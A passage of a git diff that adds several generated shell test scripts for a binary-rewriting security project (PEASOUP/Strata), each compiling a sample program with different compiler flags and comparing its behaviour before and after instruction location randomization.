+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2a8fb13d0652d2cd5daaa6c3af0c6fac3cb484a1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1f96c26d5aa1a22ac424e5a5c3f6f5a8c2c3a5b8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..33d7d89174c55818b97f07fa1b6f7708608ee657
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..be77faf4014835f17c8bd9bb306da0553067d422
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6e44eb0006d9c5af6ad6e3ebeedaaba892ea6f09
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f5f5b73deb003b824e358a30e4989317c5bef789
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
